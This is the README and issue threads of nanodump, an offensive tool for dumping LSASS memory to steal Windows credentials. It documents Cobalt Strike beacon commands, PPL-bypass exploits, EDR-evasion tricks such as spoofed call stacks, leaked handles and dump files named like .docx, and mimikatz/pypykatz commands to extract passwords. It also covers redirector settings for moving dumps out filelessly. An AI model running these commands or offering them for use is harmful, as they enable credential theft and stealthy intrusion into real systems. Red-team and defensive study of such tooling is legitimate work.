fortra/nanodump

The swiss army knife of LSASS dumping

NanoDump

A flexible tool that creates a minidump of the LSASS process.

Table of contents

1. Usage
2. Features
3. Combining Techniques
4. Examples
5. HTTPS Redirectors

1. Usage

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Clone

git clone https://github.com/fortra/nanodump.git

Compile (optional)

On Linux with MinGW

make -f Makefile.mingw

On Windows with MSVC (No BOF support)

nmake -f Makefile.msvc

Import (CobaltStrike only)

Import the NanoDump.cna script on Cobalt Strike.

Run

Run the nanodump command in the Beacon console or the nanodump.x64.exe binary.

Restore the signature

If you didn't specify the --valid flag, you need to restore the invalid signature

scripts/restore_signature <dumpfile>

Get the secretz

mimikatz:
To get the secrets simply run:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
If you prefer to stay on linux, you can use the python3 port of mimikatz called pypykatz:

python3 -m pypykatz lsa minidump <dumpfie>

2. Features

Process forking

To avoid opening a handle to LSASS with PROCESS_VM_READ, you can use the --fork parameter.
This will make nanodump create a handle to LSASS with PROCESS_CREATE_PROCESS access and then create a 'clone' of the process. This new process will then be dumped. While this will result in a process creation and deletion, it removes the need to read LSASS directly.

Snapshot

Similarly to the --fork option, you can use --snapshot to create a snapshot of the LSASS process.
This will make nanodump create a handle to LSASS with PROCESS_CREATE_PROCESS access and then create a snapshot of the process using PssNtCaptureSnapshot. This new process will then be dumped. The snapshot will be freed automatically upon completion.

Handle duplication

As opening a handle to LSASS can be detected, nanodump can instead search for existing handles to LSASS.
If one is found, it will copy it and use it to create the minidump.
Note that it is not guaranteed to find such a handle.

Elevate handle

You can obtain a handle to LSASS with PROCESS_QUERY_LIMITED_INFORMATION, which is likely to be whitelisted, and then elevate that handle by duplicating it.

Seclogon handle leak local

To avoid opening a handle to LSASS, you can use abuse the seclogon service by calling CreateProcessWithLogonW to leak an LSASS handle into the nanodump binary.
To enable this feature, use the --seclogon-leak-local parameter.
Take into account that when used from Cobalt Strike, an unsigned nanodump binary needs to be written to disk to use this feature.

Seclogon handle leak remote

This technique is very similar to the previous one, but instead of leaking the handle into nanodump, it is leaked into another binary and then duplicated so that nanodump can used it. Use the --seclogon-leak-remote flag to access this functionality.

Seclogon handle duplication

You can trick the seclogon process into opening a handle to LSASS and duplicating it before it is closed, by winning a race condition using file locks. Use the --seclogon-duplicate flag to access this functionality.

Load nanodump as an SSP

You can load nanodump as an SSP in LSASS to avoid opening a handle.
When the DLL has been loaded into LSASS, the parameters will be passed via a named pipe and once the dump is completed, DllMain will return FALSE to make LSASS unload the nanodump DLL.
You can hardcode the parameters into the DLL and avoid using the named pipe altogether with the compiler flag PASS_PARAMS_VIA_NAMED_PIPES=0.

Upload and load a nanodump DLL

By default, an unsigned nanodump DLL will be uploaded to the Temp folder which will be deleted automatically.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

If you want to load a pre-existing DLL, you can run:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPL Dump exploit

If LSASS is running as Protected Process Light (PPL), you can try to bypass it using a userland exploit discovered by Project Zero. If it is successful, the dump will be written to disk.

Note that this vulnerability has been fixed in the July 2022 update pack (Windows 10 21H2 Build 19044.1826)

To access this feature, use the nanodump_ppl_dump command

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL Medic exploit

Nanodump also implements the PPLMedic exploit, which works on systems that have the July 2022 update pack. The parameters will be passed to the nanodump DLL via a named pipe. You can hardcode the parameters into the DLL and avoid using the named pipe altogether with the compiler flag PASS_PARAMS_VIA_NAMED_PIPES=0.

To access this feature, use the nanodump_ppl_medic command

beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

You can force the WerFault.exe process to create a full memory dump of LSASS. Take into consideration that this requires the ability to write to the registry

Because the dump is not made by nanodump, it will always have a valid signature.

Silent Process Exit

To leverage the Silent Process Exit technique, use the --silent-process-exit parameter and the path where the dump should be created.

beacon> nanodump --silent-process-exit C:\Windows\Temp\

A dump of the nanodump process will also be created, similar to this:

PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

You can also use the Shtinkering technique, which requires nanodump to run under SYSTEM:

beacon> nanodump --shtinkering

The dump will tipically be created under C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps

Spoof the callstack

You can open a handle to LSASS with a fake callstack to make the function call look a bit more legitimate (especially if run as BOF).
To access this feature, use the paramter --spoof-callstack.

3. Combining techniques

You can combine many techniques to customize how nanodump operates.
The following table indicates which flags can be used together.

	--write	--valid	--duplicate	--elevate-handle	--duplicate-elevate	--seclogon-leak-local	--seclogon-leak-remote	--seclogon-duplicate	--spoof-callstack	--silent-process-exit	--shtinkering	--fork	--snapshot	SSP	PPL_DUMP	PPL_MEDIC
--write	✓	✓	✓	✓	✓	✓	✓	✓	✓			✓	✓		✓	✓
--valid	✓	✓	✓	✓	✓	✓	✓	✓	✓			✓	✓		✓	✓
--duplicate	✓	✓	✓								✓	✓	✓		✓
--elevate-handle	✓	✓		✓					✓		✓	✓	✓			✓
--duplicate-elevate	✓	✓			✓						✓	✓	✓
--seclogon-leak-local	✓	✓				✓					✓	✓	✓
--seclogon-leak-remote	✓	✓					✓				✓	✓	✓
--seclogon-duplicate	✓	✓						✓			✓	✓	✓
--spoof-callstack	✓	✓		✓					✓		✓	✓	✓
--silent-process-exit										✓
--shtinkering			✓	✓	✓	✓	✓	✓	✓		✓
--fork	✓	✓	✓	✓	✓	✓	✓	✓	✓			✓
--snapshot	✓	✓	✓	✓	✓	✓	✓	✓	✓				✓
SSP														✓
PPL_DUMP	✓	✓	✓												✓
PPL_MEDIC	✓	✓		✓												✓

4. Examples

Read LSASS indirectly by creating a fork and write the dump to disk with an invalid signature:

beacon> nanodump --fork --write C:\lsass.dmp

Use the seclogon leak remote to leak an LSASS handle in a notepad process, duplicate that handle to get access to LSASS, then read it indirectly by creating a fork and downloading the dump with a valid signature:

beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Get a handle with seclogon leak local, read LSASS indirectly by using a fork and write the dump to disk with a valid signature (a nanodump binary will be uploaded!):

beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

Download the dump with an invalid signature (default):

beacon> nanodump

Duplicate an existing handle and write the dump to disk with an invalid signature:

beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

Get the PID of LSASS:

beacon> nanodump --getpid

Load nanodump in LSASS as an SSP (a nanodump binary will be uploaded!):

beacon> load_ssp
beacon> delete_file C:\Windows\Temp\[RANDOM].dll

Load nanodump in LSASS as an SSP remotely:

beacon> load_ssp \\10.10.10.10\openShare\nanodump_ssp.x64.dll

Dump LSASS bypassing PPL using the PPLDump exploit, duplicating the handle that csrss.exe has on LSASS:

beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

Dump LSASS bypassing PPL using the PPLMedic exploit, opening a low privileged handle to LSASS and then elevating it:

beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Trick seclogon into opening a handle to LSASS and duplicate it, then download the dump with an invalid signature:

beacon> nanodump --seclogon-duplicate

Make the WerFault.exe process create a full memory dump in the Temp folder:

beacon> nanodump --werfault C:\Windows\Temp\

Open a handle to LSASS with a spoofed callstack and download the minidump with an invalid signature:

beacon> nanodump --spoof-callstack

Use the Shtinkering techinque:

beacon> nanodump --shtinkering

Obtain a handle using seclogon leak local and create the dump using the Shtinkering techinque:

beacon> nanodump --seclogon-leak-local --shtinkering

Obtain a handle with low privs and elevate it using elevate handle:

beacon> nanodump --elevate-handle

Obtain a handle with low privs using a spoofed callstack and elevate it using elevate handle:

beacon> nanodump --elevate-handle --spoof-callstack

Duplicate an existing low priv handle and elevate it using elevate handle:

beacon> nanodump --duplicate-elevate

5. HTTPS redirectors

If you are using an HTTPS redirector (as you should), you might run into issues when downloading the dump filelessly due to the size of the requests that leak the dump.
Increase the max size of requests on your web server to allow nanodump to download the dump.

NGINX

location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

<Directory "...">
    LimitRequestBody  52428800
</Directory>

Credits

• skelsec for writing minidump, which was crucial for learning the minidump file format.
• freefirex from CS-Situational-Awareness-BOF at Trustedsec for many cool tricks for BOFs
• Jackson_T for SysWhispers2
• BillDemirkapi for Process Forking
• Antonio Cocomazzi for Abusing leaked handles to dump LSASS memory and Racing for LSASS dumps
• xpn for Exploring Mimikatz - Part 2 - SSP
• Matteo Malvica for Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
• James Forshaw for Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
• itm4n for the original PPL userland exploits implementation, PPLDump and PPLMedic.
• Asaf Gilboa for Lsass Memory Dumps are Stealthier than Ever Before - Part 2 and the Shtinkering technique
• William Burgess for Spoofing Call Stacks To Confuse EDRs
• Sebastian Feldmann and Fabian for the elevate handle technique discussed at Morph Your Malware!

nanodump's Issues

sekurlsa::minidump from nanodump output file

i am using nanodump for dumping lsass.exe. everything is ok, but when i get to mimikatz by following command,got error:

mimikatz.exe "sekurlsa::minidump <path/to/dumpfile>" "sekurlsa::logonPasswords full" exit

mimikatz error: ERROR kuhl_m_sekurlsa_acquireLSA ; Memory opening

i use "x64 nanodump ssp dll", and AddSecurityPackage winapi for attaching to lsass

when i was testing all way's, detect that nanodump specified dump file size(default=>report.docx),is different from procmon.exe Full and Mini dump output.

my test:

procmon full = 71 MB ,procmon mini = 1.6 MB

nanodump = 11 MB

Werfault technique returns empty lsass dump

Hi @S4ntiagoP ,

the werfault technique seems cool and has some potential :)

However, i run it on a Windows 1909 and i got an empty lsass dump:

This is the output of the debug release:

C:\Users\splintercode\Desktop\nanodump-main\dist>nanodump.x64.exe --werfault C:\dmp -p 792
DEBUG: source/utils.c:323:remove_syscall_callback_hook(): The syscall callback hook was set to NULL
DEBUG: source/entry.c:474:main(): Using 792 as the PID of LSASS
DEBUG: source/werfault.c:117:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
DEBUG: source/werfault.c:137:set_registry_keys(): Registry key value has been created : GlobalFlag
DEBUG: source/werfault.c:170:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
DEBUG: source/werfault.c:192:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
DEBUG: source/werfault.c:229:set_registry_keys(): Sub key LocalDumpFolder has been created
DEBUG: source/werfault.c:246:set_registry_keys(): Sub key DumpType has been created
DEBUG: source/werfault.c:500:rtl_report_silent_process_exit(): LSASS PID: 792, PID: 4508, TID: 10148
DEBUG: source/werfault.c:352:WaitForWerSvc(): The WER is ready
DEBUG: source/werfault.c:455:SendMessageToWERService(): Port handle: 0x000000000000008C
DEBUG: source/werfault.c:472:SendMessageToWERService(): Sent the message to the WER service
Done, to get the secretz run:
python3 -m pypykatz lsa minidump lsass.exe-(PID-792).dmp

Any idea why it's not working?

Issues when I run with CoffLoader

Hello Team,
I have tried the nano dump with offloader, and I generated the hex value as below. I have tried both fork and snapshot technique

Beacon Argument Generator
Beacon>addint 660
Beacon>addString test.dmp
Beacon>addint 1
Beacon>addint 1
Beacon>addint 0
Beacon>addint 1
Beacon>addint 0
Beacon>addint 1
Beacon>addint 0
Beacon>addint 0
Beacon>addint 0
Beacon>addint 0
Beacon>addString ""
Beacon>addint 0
Beacon>addint 0
Beacon>addint 0
Beacon>addString ""
Beacon>addint 0
Beacon>generate
b'570000009402000009000000746573742e646d700001000000010000000000000001000000000000000100000000000000000000000000000000000000030000002222000000000000000000000000000300000022220000000000'

Then I ran it with COFFLoader.

COFFLoader64.exe go nanodump.x64.o 570000009402000009000000746573742e646d700001000000010000000000000001000000000000000100000000000000000000000000000000000000030000002222000000000000000000000000000300000022220000000000
Got contents of COFF file
Running/Parsing the COFF file
the --malseclogon-leak-local technique failed!Ran/parsed the coff
Outdata Below:

the --malseclogon-leak-local technique failed!

I could not figure it out what the issue could be

fix ppl exploit for Windows server 2012

I tried nanodump_ppl bof, on a Windows server 2012,(lsa has ppl protection) and is fully updated. it doesn't work, any way to fix this?

tiny correctness bug in snapshot_process()

This is a tiny correctness bug.

The function design of snapshot_process is such that hProcess is always clobbered when calling the function. As such, snapshot_process must always close the handle otherwise it will result in a handle leak of the passed in hProcess.

    // avoid reading LSASS directly by making a snapshot
    if (snapshot_lsass)
    {
        hProcess = snapshot_process(
            hProcess,
            PhSnapshot);
        if (!hProcess)
            goto cleanup;
    }

There are two error paths that could lead to such a leakage. I could not find any circumstance where the first one would manifest in the code as written. The second one would only happen if PssNtCaptureSnapshot could not be resolved dynamically (perhaps only possible on out of support target OSes).

// create a snapshot of the LSASS process
HANDLE snapshot_process(
    IN HANDLE hProcess,
    OUT PHANDLE hSnapshot)
{
    BOOL ret_val = FALSE;
    PssNtCaptureSnapshot_t PssNtCaptureSnapshot;
    PssNtQuerySnapshot_t PssNtQuerySnapshot;
    HANDLE hCloneProcess = NULL;
    DWORD process_flags = 0;
    DWORD thread_flags = 0;
    DWORD error_code = 0;

    if (!hProcess || !hSnapshot)
!        goto cleanup;   <<< hProcess input parameter NOT closed here

    // find the address of PssNtCaptureSnapshot dynamically
    PssNtCaptureSnapshot = (PssNtCaptureSnapshot_t)(ULONG_PTR)get_function_address(
        get_library_address(NTDLL_DLL, TRUE),
        PssNtCaptureSnapshot_SW2_HASH,
        0);
    if (!PssNtCaptureSnapshot)
    {
        api_not_found("PssNtCaptureSnapshot");
!        goto cleanup;   <<< hProcess input parameter NOT closed here
    }

    *hSnapshot    = NULL;
    process_flags = PROCESS_PPSCAPTURESNAPSHOT_PERMISSIONS;
    thread_flags  = THREAD_PPSCAPTURESNAPSHOT_PERMISSIONS;

    error_code = PssNtCaptureSnapshot(
        hSnapshot,
        hProcess,
        process_flags,
        thread_flags);

!    NtClose(hProcess); hProcess = NULL;  <<< hProcess input parameter closed here

A solution would be to always ensure that hProcess is closed on every exit from snapshot_process

https://github.com/helpsystems/nanodump/blob/07e44d2aa2f97cd298b2063fc344999840c8d2a7/source/handle.c#L421

Get LSASS PID fails

Hi,

I was trying out on multiple systems now, with an elevated prompt and/or a SYSTEM shell. The find_lsass function always returns
The LSASS process was not found. Try providing the PID with -p or --pid

Dumping with manually specifying the ID works fine for me.

I wonder what the problem is here, actually.

Some ideas?

Greetings

NtReadVirtualMemory, error

Environment is Windows 10 + Kaspersky Total Security.

NtReadVirtualMemory, status: 0xc0000022

If you need the environment, here is the download link

https://trial.s.kaspersky-labs.com/registered/vvzkph9ftg3ws2zhfhll/3436353730347c44454c7c32_26155/kts21.3.10.391abzh-Hans_26155.exe

what is "cool SW2_SEED"

I am more confused about what this means.
"cool SW2_SEED"

Issues with nanodump in cobalt strike

download [id: -775643611] closed: Missed start message/metadata.

May I know how to solve this? Thanks

Compile Environment?

Can you share what your compile toolchain looks like?

kali@kali:~/tools/nanodump$ x86_64-w64-mingw32-gcc -v
Using built-in specs.
COLLECT_GCC=x86_64-w64-mingw32-gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-w64-mingw32/10-win32/lto-wrapper
Target: x86_64-w64-mingw32
Configured with: ../../src/configure --build=x86_64-linux-gnu --prefix=/usr --includedir='/usr/include' --mandir='/usr/share/man' --infodir='/usr/share/info' --sysconfdir=/etc --localstatedir=/var --disable-option-checking --disable-silent-rules --libdir='/usr/lib/x86_64-linux-gnu' --libexecdir='/usr/lib/x86_64-linux-gnu' --disable-maintainer-mode --disable-dependency-tracking --prefix=/usr --enable-shared --enable-static --disable-multilib --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --libdir=/usr/lib --enable-libstdcxx-time=yes --with-tune=generic --with-headers=/usr/x86_64-w64-mingw32/include --enable-version-specific-runtime-libs --enable-fully-dynamic-string --enable-libgomp --enable-languages=c,c++,fortran,objc,obj-c++,ada --enable-lto --enable-threads=win32 --program-suffix=-win32 --program-prefix=x86_64-w64-mingw32- --target=x86_64-w64-mingw32 --with-as=/usr/bin/x86_64-w64-mingw32-as --with-ld=/usr/bin/x86_64-w64-mingw32-ld --enable-libatomic --enable-libstdcxx-filesystem-ts=yes --enable-dependency-tracking
Thread model: win32
Supported LTO compression algorithms: zlib
gcc version 10-win32 20210110 (GCC)

The problem: I'm working on loading this via Invoke-ReflectivePEInjection.ps1 and am re-compiling it to not require command line arguments. The provided compiled EXE loads and works great, however, when re-compiling with the GCC version shown above i'm getting DEP and ASLR errors. That's totally not a "you" problem, but I figured comparing toolchain versions would be a good first troubleshooting step.

malseclogon_trigger_lock leaks process and thread handles returned from CreateProcessWithTokenW/CreateProcessWithLogonW

These calls to CreateProcessWithTokenW and CreateProcessWithLogonW do not close the process and thread handles returned in the procInfo parameter.

See: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw

Handles in PROCESS_INFORMATION must be closed with the CloseHandle function when they are no longer needed.

            success = CreateProcessWithTokenW(
                handle_list->Handle[i],
                0,
                NULL,
                cmdline,
                0,
                NULL,
                NULL,
                (LPSTARTUPINFOW)&startInfo,
!                &procInfo);   <<< Process and thread handles not closed
            if (success)
            {
                break;
            }
        }
    }
    else
    {
        CreateProcessWithLogonW(
            NANODUMP_USER,
            NANODUMP_DOMAIN,
            NANODUMP_PASSWD,
            LOGON_NETCREDENTIALS_ONLY,
            NULL,
            cmdline,
            0,
            NULL,
            NULL,
            (LPSTARTUPINFOW)&startInfo,
!            &procInfo);   <<< Process and thread handles not closed

https://github.com/helpsystems/nanodump/blob/08dd0da278b1e3d9a9a3ddfc8f5bb7491bd546ad/source/malseclogon.c#L515

Promblem DUMP_MAX_SIZE.

del pls my error

WIN7 Failed

Target iInformation

Windows 7 Ultimate (x64)

I use the .exe version to run nanodump

then I downloaded the minidump and Recover invalid signatures

I use Kali pypykatz, But it failed

I also try to use Cobalt Strike, then use Kali pypykatz, it failed too

Declare in advance that my Kali pypykatz is OK

Nanodump does not run on Server 2012 R2

Hello team,

I have problems when I run the nanodump.x64.exe directly on a Windows Server 2012 R2 (in a powershell). Unfortunately there is no output or any error message at all. In general it looks like this:

PS C:\users\public> .\n64.exe --write test1.docx
PS C:\users\public>

PS C:\users\public> .\n64.exe --write test2.docx --fork
PS C:\users\public>

PS C:\users\public> .\n64.exe --write test3.docx --snapshot
PS C:\users\public>

Nothing is done or written to the hard disk. Tested the same behavior on multiple Windows Server 2012 R2 with the same result. Have you ever noticed such behavior?

Example system version:

OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600

Thanks in advance for the support and also for the really cool tool :)

Dumped file but file will not be parsed

INFO:root:Parsing file ../../TEST_1636586596_lsass.dmp INFO:pypykatz:===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE ===== INFO:pypykatz:pypyKatz version: 0.3.7 INFO:pypykatz:CPU arch: X64 INFO:pypykatz:OS: Windows 10 INFO:pypykatz:BuildNumber: 22000 INFO:pypykatz:MajorVersion: 6 INFO:pypykatz:MSV timestamp: 0 INFO:pypykatz:===== BASIC INFO END ===== ERROR:root:Error while parsing file ../../TEST_1636586596_lsass.dmp Traceback (most recent call last): File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/cmdhelper.py", line 195, in run mimi = pypykatz.parse_minidump_file(args.memoryfile) File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 77, in parse_minidump_file raise e File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 73, in parse_minidump_file mimi.start() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 267, in start self.get_logoncreds() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 168, in get_logoncreds logoncred_decryptor.start() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 360, in start entry_ptr_value, entry_ptr_loc = self.find_first_entry() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 263, in find_first_entry position = self.find_signature('lsasrv.dll',self.decryptor_template.signature) File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/package_commons.py", line 71, in find_signature raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) Exception: Signature was not found in module lsasrv.dll Signature: 33ff4189374c8bf34585c074 Traceback (most recent call last): File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/cmdhelper.py", line 195, in run mimi = pypykatz.parse_minidump_file(args.memoryfile) File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 77, in parse_minidump_file raise e File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 73, in parse_minidump_file mimi.start() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 267, in start self.get_logoncreds() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 168, in get_logoncreds logoncred_decryptor.start() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 360, in start entry_ptr_value, entry_ptr_loc = self.find_first_entry() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 263, in find_first_entry position = self.find_signature('lsasrv.dll',self.decryptor_template.signature) File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/package_commons.py", line 71, in find_signature raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) Exception: Signature was not found in module lsasrv.dll Signature: 33ff4189374c8bf34585c074

It was dumped fine but it could not be parsed either from mimikatz or pypykatz.

not lucky with BEST

without bitdefender everything works
is there any way to solve this ?

Unresolved external in nanodump.x64.o

nanodump.x64.o cannot be used with "friendly" COFF loaders (like Cobalt Strike) due to implementations for get_library_address and get_function_address not being provided. A quick fix for this is provided below, although it imports a decent chunk of code that is unused and is not an ideal solution.

tl;dr - as these functions are built without an implementation, the compiler treats them as external functions. When a COFF loader sees this, it will attempt to resolve an implementation externally, which it can't.

diff --git a/source/entry.c b/source/entry.c
index 323c2af..e37d62e 100644
--- a/source/entry.c
+++ b/source/entry.c
@@ -1,6 +1,8 @@
 #include "entry.h"

 #ifdef BOF
+ #include "syscalls.h"
+ #include "dinvoke.c"
  #include "nanodump.c"
 #else
  #include "nanodump.h"

Maybe issue with nanodump -write

REF issue on other repo skelsec/pypykatz#101

I have run into this when using tool.

Let me know what/if any feedback is needed.

restore_signature.sh was run without error on file.

1 Beacon did basically DOS shell with The dump file is too big. please increase DUMP_MAX_SIZE. this occurred on 1 of 2 tests.

can upload sln pro? please

Can upload sln project? vs2015 compile, output many error ...
thanks !

source/utils.c(264): error C2065: 'ProcessInstrumentationCallback': undeclared identifier

hello,
getting this error during the compile steps:

C:\temp\nanodump>nmake -f Makefile.msvc

Microsoft (R) Program Maintenance Utility Version 14.29.30140.0
Copyright (C) Microsoft Corporation. All rights reserved.

RELEASE

    ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64

Microsoft (R) Macro Assembler (x64) Version 14.29.30140.0
Copyright (C) Microsoft Corporation. All rights reserved.

Assembling: source/syscalls-asm.asm
cl.exe -DNANO -DEXE -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
dinvoke.c
utils.c
source/utils.c(264): error C2065: 'ProcessInstrumentationCallback': undeclared identifier
handle.c
modules.c
syscalls.c
token_priv.c
malseclogon.c
nanodump.c
entry.c
Generating Code...
NMAKE : fatal error U1077: '"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\bin\HostX64\x64\cl.exe"' : return code '0x2'
Stop.

any ideas or i do something wrong ?
thanks

dumpfile parse error

Nano dump file size is only 9M mimikatz and pypykatz cannot be parsed normally . Procdump dumpfile is 35M

Make issue Makefile.mingw source/malseclogon.c

nanodump$ make -f Makefile.mingw
rm -f dist/*
###### RELEASE ######
x86_64-w64-mingw32-gcc source/spoof_callstack.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/nanodump.x64.exe -masm=intel -Wall -I include -DNANO -DEXE
source/malseclogon.c: In function ‘leak_lsass_handle_in_seclogon_with_race_condition’:
source/malseclogon.c:502:5: error: unknown type name ‘REQUEST_OPLOCK_INPUT_BUFFER’
  502 |     REQUEST_OPLOCK_INPUT_BUFFER inputBuffer = { 0 };
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:503:5: error: unknown type name ‘REQUEST_OPLOCK_OUTPUT_BUFFER’
  503 |     REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer = { 0 };
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:504:16: error: request for member ‘StructureVersion’ in something not a structure or union
  504 |     inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
      |                ^
source/malseclogon.c:504:36: error: ‘REQUEST_OPLOCK_CURRENT_VERSION’ undeclared (first use in this function)
  504 |     inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
      |                                    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:504:36: note: each undeclared identifier is reported only once for each function it appears in
source/malseclogon.c:505:16: error: request for member ‘StructureLength’ in something not a structure or union
  505 |     inputBuffer.StructureLength = sizeof(inputBuffer);
      |                ^
source/malseclogon.c:506:16: error: request for member ‘RequestedOplockLevel’ in something not a structure or union
  506 |     inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
      |                ^
source/malseclogon.c:506:40: error: ‘OPLOCK_LEVEL_CACHE_READ’ undeclared (first use in this function)
  506 |     inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
      |                                        ^~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:506:66: error: ‘OPLOCK_LEVEL_CACHE_HANDLE’ undeclared (first use in this function)
  506 |     inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
      |                                                                  ^~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:507:16: error: request for member ‘Flags’ in something not a structure or union
  507 |     inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
      |                ^
source/malseclogon.c:507:25: error: ‘REQUEST_OPLOCK_INPUT_FLAG_REQUEST’ undeclared (first use in this function)
  507 |     inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
      |                         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:508:17: error: request for member ‘StructureVersion’ in something not a structure or union
  508 |     outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
      |                 ^
source/malseclogon.c:509:17: error: request for member ‘StructureLength’ in something not a structure or union
  509 |     outputBuffer.StructureLength = sizeof(outputBuffer);
      |                 ^
source/malseclogon.c:565:9: error: ‘FSCTL_REQUEST_OPLOCK’ undeclared (first use in this function); did you mean ‘FSCTL_REQUEST_BATCH_OPLOCK’?
  565 |         FSCTL_REQUEST_OPLOCK,
      |         ^~~~~~~~~~~~~~~~~~~~
      |         FSCTL_REQUEST_BATCH_OPLOCK
make: *** [Makefile.mingw:11: nanodump] Error 1

Text above displayed when fresh download of project is done with make -f Makefile.mingw command is run.

